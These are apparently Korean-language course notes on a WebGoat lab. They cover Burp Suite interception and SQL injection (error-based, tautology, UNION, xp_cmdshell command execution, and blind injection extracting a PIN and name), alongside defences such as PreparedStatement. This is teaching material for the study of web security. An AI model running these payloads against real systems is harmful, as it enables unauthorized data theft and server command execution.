→ https://myanjini.tistory.com/manage/posts?searchKeyword=bwapp&searchType=title
→ https://myanjini.tistory.com/manage/posts?searchKeyword=kali&searchType=title
📝 가상화
: 하드웨어를 소프트웨어로 표현
: 파일로 관리
💻 작업관리자(Ctrl+Alt+Del 또는 상태바에서 마우스 오른쪽 클릭 후 선택)를 실행해서 MySQL이 있는 경우 작업 끝내기
💻 C:\FullstackLAB\run.bat 실행
💻 이클립스에서 Tomcat 서버 실행
🔎 서버 실행 확인
🔎 오류가 발생하는 경우
→ 프로젝트 재빌드 후 배포
🔎 서비스 포트 확인
→ 서비스 포트가 충돌하는 경우, 아래 정보를 수정 후 저장하고 서버를 재기동
🔎 http://localhost:8080/WebGoat 접속해서 동작 확인
→ 사용자 이름 / 비밀번호 : webgoat / webgoat
💻 http://localhost:8080/WebGoat/attack 주소로 접속
💻 Kali 가상머신에서 WebGoat로 접속
→ http://host.pc:8080/WebGoat
🔎 로그인 후 404 오류가 나오는 경우
: 이클립스에서 WebGoat > src > main > webapp 에서 마우스 우클릭 후 New > HTML File을 선택해서 index.html 파일 추가
🔎 index.html 파일의 위치 확인
💻 아래 내용 입력 후 저장 (서버 재기동 필요 X)
<!DOCTYPE html>
<html>
<head>
<meta charset="EUC-KR">
<title>Insert title here</title>
<meta http-equiv="refresh" content="0; url=attack"></meta>
</head>
<body>
</body>
</html>
💻 Burpsuite 실행
🔎 프록시 설정 확인
: Proxy → Proxy settings → Proxy listener가 체크되어 있는지 확인
💻 BurpSuite에서 Interceptor를 설정한 상태에서 Firefox를 이용해 WebGoat 사이트(http://host.pc:8080/WebGoat)로 요청
💻 요청을 인터셉터해서 어떻게 처리할 건지를 물어봄
💻 Forward 클릭
🔎 HTTP History 탭을 통해 요청/응답 과정 확인
: interceptor 해제한 상태로 진행해야 함
: http//host.pc:8080/WebGoat 로 요청했을 때 리다이렉터 응답(http://host.pc:8080/WebGoat/로 재요청)을 받음
💻 http//host.pc:8080/WebGoat/ 로 요청
👇
디렉터리 리스팅 옵션 확인 후 기본 페이지를 검색
👇
기본 페이지(index.html)를 응답으로 반환
👇
index.html 파일 내용에 attack 페이지로 재요청이 포함되어 있음
💻 http://host.pc:8080/WebGoat/attack 페이지를 요청
→ attack 파일의 내용(또는 실행 결과)을 응답으로 반환
💡 입력 → 처리 → 출력
✍ 입력
: 신뢰할 수 있는 입력
= 믿을 수 있는 곳(안전한 곳)으로부터 전달된 입력
ex. 시스템 내부의 값
: 신뢰할 수 없는 입력
= 믿을 수 없는 곳(안전하지 않은 곳)으로부터 전달된 입력
ex. 사용자가 입력한 값(사용자가 잘못 입력하거나 전달 과정에서 위·변조 될 수 있기 때문)
✍ 처리
: 안전한 처리
= (개발자가) 의도한 대로 동작
: 안전한 처리를 위해
→ 신뢰할 수 있는 입력값을 사용
→ 신뢰할 수 없는 입력값을 사용해야 하는 경우, 입력값을 검증/제한해서 사용
✍ 어떤 처리가 있을 때, 입력값에 처리를 조작할 수 있는 문자열 포함 여부를 확인하지 않고 처리에 사용하는 경우
💡 처리의 구조와 의미가 변형되어 원래 의도했던 처리와 다르게 처리되는 문제점
✍ 유형
SQL Injection → 입력값이 SQL문을 만들고 실행하는데 사용
XPath Injection → 입력값이 XPath 구문을 만들고 실행하는데 사용
XQuery Injection → 입력값이 XQuery 구문을 만들고 실행하는데 사용
Command Injection → 입력값이 운영체제 명령어 또는 명령어의 일부로 사용
✍ 방어
1. 입력값에 처리를 조작하는 문자열 포함 여부를 확인하고 사용
→ 입력값 검증, 제한
: 입력값에 처리를 조작하는 문자열이 포함되어 있는 경우
ⅰ) 오류 처리
ⅱ) 제거하고 사용
ⅲ) 처리를 조작하는 문자열이 일반 문자열로 해석되도록 변경해서 사용
→ 이스케이프 처리
✍ 외부 입력값에 쿼리 조작 문자열 포함 여부를 확인하지 않고 쿼리문(SQL문)을 생성, 실행하는데 사용하는 경우 원래 의도했던 쿼리의 구조와 내용이 변경되어 실행되는 것
🔎 예상되는 문제
1. 권한 밖 DB 데이터에 접근이 가능
2. 쿼리 실행을 통해서 제공되는 기능을 비정상적으로 제공받는 것이 가능
= 해당 기능을 우회해서 이용하는 것이 가능
ex. 로그인 기능
※ 정상적인 입력인 경우 동작
login.do?id=abc&pw=xyz
ID: abc ――――――――――――――――――――――――> select * from users
where id = 'abc' and pw = 'xzy'
PW: xyz
<―――――――――――――――――――――――― * 일치하는 정보가 있는 경우
→ 로그인 성공
→ 메인 페이지 반환
* 일치하는 정보가 없는 경우
→ 오류 메시지와 함께 로그인 페이지 반환
※ 비정상적인 입력인 경우 동작
login.do?id=abc&pw=xyz' or 'a' = 'a
ID: abc ―――――――――――――――――――――――――――――――――――――――> select * from users
where id = 'abc' and
pw = 'xzy' or 'a' = 'a'
PW: xyz' or 'a' = 'a
<――――――――――――――――――――――――――――――――――――――― * users 테이블에 id, pw 컬럼의
값이 일치하는 것이 있는지
조회하는 쿼리였었음
* 조작된 입력값에 의해
항상 참인 쿼리로 변경되어서 실행
~~~~~^~~~~~
* 일치하는 정보가 있는 것으로 판단해
메인 페이지를 반환
3. 데이터베이스가 동작하는 서버의 제어권을 탈취해 원격에서 해당 서버를 제어하는 것이 가능
→ https://www.hahwul.com/cullinan/history-of-owasp-top-10/
✍ 방어 기법
입력값에 쿼리 조작 문자열 포함 여부를 확인하고 사용
ⅰ) 오류 처리
ⅱ) 제거하고 사용
ⅲ) 안전한 형태로 변경해서 사용
PreparedStatement(Query Parameters)와 같은 구조화된 쿼리 실행(파라미터화 된 쿼리 실행)을 보장하는 것을 사용
오류 메시지에 상세한 내용(데이터베이스 및 쿼리 구조, 쿼리 실행과 관련한 프로그램 구조 등)이 포함되지 않도록 처리
어플리케이션에서 사용하는 DB 사용자의 권한을 필요한 만큼의 최소한으로 부여
📢 3번과 4번은 SQL Injection 공격을 완화시키기 위해서 필요한 방어 기법
🔎 파이썬에서 SQL Injection을 방어하는 방법
→ https://realpython.com/prevent-python-sql-injection/
✍ 동작 원리 이해
🧐 정상적인 처리 과정 유추
Enter your last name: Smith
attack?Screen=34&menu=1100&account_name=Smith&SUBMIT=Go!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
* POST 방식으로 해당 내용은 요청 본문을 통해서 전달되나,
여기에서는 편의를 위해서 GET 방식(주소를 통해서 전달)으로 묘사
SELECT * FROM user_data WHERE last_name = 'Smith'
💻 만약 입력값이 서버에서 검증 없이 그대로 쿼리를 만드는데 사용된다면, 모든 사용자 데이터를 조회하는 쿼리 형태를 생성
SELECT * FROM user_data
WHERE last_name = 'Smith' or 'a' = 'a' # 항상 참이 되는 조건을 추가
| |
+------------------+
# last_name 컬럼의 데이터 타입이 문자열인 것을 확인
💻 사용자 화면에서 쿼리 조작 문자열을 포함해서 요청을 전달
Enter your last name: Smith' or 'a' = 'a
✔ 외부 입력값을 쿼리 조작 문자열(' = or) 포함 여부를 확인하지 않고 그대로 쿼리 생성 및 실행에 사용
✔ 쿼리의 원래 의미(이름이 일치하는 데이터를 조회해서 반환)를 변경(모든 데이터를 조회)해서 실행
✍ 정상적인 동작
Select your local weather station: Columbia 를 선택하면 101이 station 파라미터 값으로 전달
개발자 도구를 이용해 소스 코드 분석
attack?Screen=44&menu=1100&station=101&SUBMIT=Go!
SELECT * FROM weather_data WHERE station = 101
✍ 모든 데이터를 조회하는 쿼리 작성
SELECT * FROM weather_data WHERE station = 101 or 1 = 1
방법 ❶ 개발자 도구를 이용해 선택되었을 때 서버로 전달되는 값을 조작
방법 ❷ Proxy를 이용해 서버로 전달되기 전에 값을 변경해서 전달
⑴ 실습 리셋
⑵ 요청 데이터를 잡아 수정하기 위해서 Intercept를 설정
⑶ 요청을 발생
👉 선택된 지역의 지역번호가 요청 파라미터로 전달
⑷ 인터셉터 된 요청의 내용(요청 파라미터의 값)을 변조한 후 인터셉터를 해제
👉 변조 된 요청이 서버로 전달
🔎 모든 지역의 날씨 데이터가 조회되는 것을 확인
✔ 입력값 검증의 중요성
❓ 인젝션을 통해서 조회된 결과의 지역과 지역 선택창에 나오는 지역을 비교
🔎 전체 지역은 6개이나, 4개 지역에 대해서 날씨 서비스를 제공
❓ 입력창(text, textarea)과 라디오 버튼, 체크 박스, 셀렉트 박스의 차이
🔎 서비스로 제공하는 4개 지역에서만 선택하도록 제한하기 위해서 셀렉트 박스 사용
❓ 클라이언트 사이드(화면)에서 사용자가 101, 102, 103, 104 중 하나만 선택하도록 UI 컴포넌트를 이용해서 입력을 제한
🔎 서버 사이드에서 입력값을 검증, 제한하지 않고 있음
💡 클라이언트 사이드에 적용된 보안 기능은 서버 사이드에도 동일하게 또는 그 이상 적용해야 함
💡 관련 보안약점 👉 보안기능 결정에 사용되는 부적절한 입력값 (가이드. 200페이지)
💻 사용자가 입력한 ID와 일치하는 회원 정보를 조회해서 제공
select * from members where id = ___________
❶ 에러를 유발하는 입력
✍ Error Based SQL Injection
ex. ' (홑따움표)
select * from members where id = 123'
🔎 ID 컬럼은 숫자형으로 문자열 데이터를 받을 수 없고, 홑따움표의 개수가 일치하지 않아서 오류 발생
❷ 항상 참이 되는 입력
ex. ____ or 항상 참이 되는 조건
👉 인젝션이 걸리는 컬럼의 데이터 타입에 맞춰 홑따움표를 추가해야 함
select * from members where id = 123 or 1 = 1
🔎 1 = 1은 무조건 참이기 때문에 members 테이블의 모든 데이터 조회 가능
❸ UNION 구문 이용
✍ Union Based SQL Injection
💡 UNION?
👉 두 쿼리의 실행 결과를 하나로 결합
ex.
# 정상 입력 → 123 회원의 이름, 나이, 성별, 연락처가 조회되어 출력
select * from members id = 123
select * from members id = 123
and 1 = 2 UNION select 1, 2, 3, 4 from 어떤테이블 # 1, 2, 3, 4가 출력
~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| |
| +-- 공격자가 알고자 하는 정보를 조회하는 쿼리
| → 일반적으로 시스템 테이블을 우선적으로 활용
+-- 정상 쿼리의 실행 결과가 없도록 만드는 구문
❹ Stored Procedure를 호출하는 입력
ex.
select * from members id = 123
; exec xp_cmdshell 'cmd.exe /c dir'
~ ~~~~ ~~~~~~~~~~~ ~~~~~~~~~~~~~~~~
| | | |
| | | +-- DBMS의 쉘에서 실행할 명령어
| | | → 현재 디렉터리의 내용을 반환
| | +-- MS-SQL에서 제공하는 시스템 Stored Procedure로,
| | 매개변수로 전달된 값을 DBMS의 쉘에서 실행하고 그 결과를 반환
| +-- Stored Procedure를 실행
| → 일반적으로 시스템 Stored Procedure를 우선적으로 활용
+-- 쿼리문의 종결을 의미
❺ Blind SQL Injection
ex.
✔ 정상적인 실행
# 존재하는 ID인 경우 → ID가 123인 사용자의 정보를 제공
select * from members where id = 123
# 존재하지 않는 ID인 경우 → 존재하지 않습니다. 메시지를 제공
select * from members where id = 999
✔ 공격 가능 여부 확인
# ID가 123인 사용자의 정보를 제공
select * from members where id = 123 and 1 = 1
# 존재하지 않습니다. 메시지를 제공
select * from members where id = 123 and 1 = 2
~~^~~
# 조건에 따라 결과 화면이 달라짐
✔ 공격자가 알고자 하는 정보를 조회하는 쿼리를 전달
select * from members where id = 123 and 공격자가 알고자 하는 정보를 조회하는 쿼리
# 사용자 정보가 출력되면 해당 쿼리가 참,
오류 메시지가 출력되면 해당 쿼리가 거짓인 것을 알 수 있음
사용자가 입력한 계좌 번호(Account Number)의 유효성(있다, 없다)를 확인해 주는 웹 페이지
👉 해당 계좌가 존재하는 경우, Account number is valid.를 출력하고,
👉 해당 계좌가 존재하지 않는 경우, Invalid account number.를 출력
문제는 pins 테이블에서 cc_number 컬럼의 값이 1111222233334444와 일치하는 pin 컬럼의 값을 찾으시오.
The goal is to find the value of the field pin in table pins for the row with the cc_number of 1111222233334444. The field is of type int, which is an integer.
💻 동작 분석
select * from accounts where account_number = 999
select pin from pins where cc_number = '1111222233334444'
select * from accounts where account_number=102 and (select pin from pins where cc_number='1111222233334444') > ???
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| |
| |
일치하는 정보가 존재 해당 쿼리의 실행 결과가 참
→ Account number is valid
거짓
→ Invalid account number
select * from accounts where account_number=102
and (select pin from pins where cc_number='1111222233334444') > 100
select * from accounts where account_number=102
and (select pin from pins where cc_number='1111222233334444') > 1000
→ 조건을 만족하는 pin 값은 1000 보다 큼
select * from accounts where account_number=102
and (select pin from pins where cc_number='1111222233334444') > 5000
→ 조건을 만족하는 pin 값은 1000 보다 크고 5000 보다 작음
# 범위를 점점 줄여 최종적으로 아래 쿼리를 만족하는 숫자를 찾음
select * from accounts where account_number=102
and (select pin from pins where cc_number='1111222233334444') = ????
select * from accounts where account_number=102
and (select pin from pins where cc_number='1111222233334444') = 2364
→ Account number is valid가 출력
→ 공격자가 찾고자 하는 pin 값인 2364가 나옴
select * from accounts where account_number = 102
and (select name from pins where cc_number = '4321432143214321') = '?????'
select * from accounts where account_number = 102 and
(select substr(name, 1, 1)
from pins where cc_number = '4321432143214321') = '?'
select * from accounts where account_number = 102 and
(select substr(name, 2, 1)
from pins where cc_number = '4321432143214321') = '?'
select * from accounts where account_number = 102 and
(select ascii(substr(name, 1, 1))
from pins where cc_number = '4321432143214321') < 46
select * from accounts where account_number = 102 and
(select name from pins where cc_number = '4321432143214321') = 'Jill'
✔ Statement
✔ PreparedStatement
✔ CallableStatement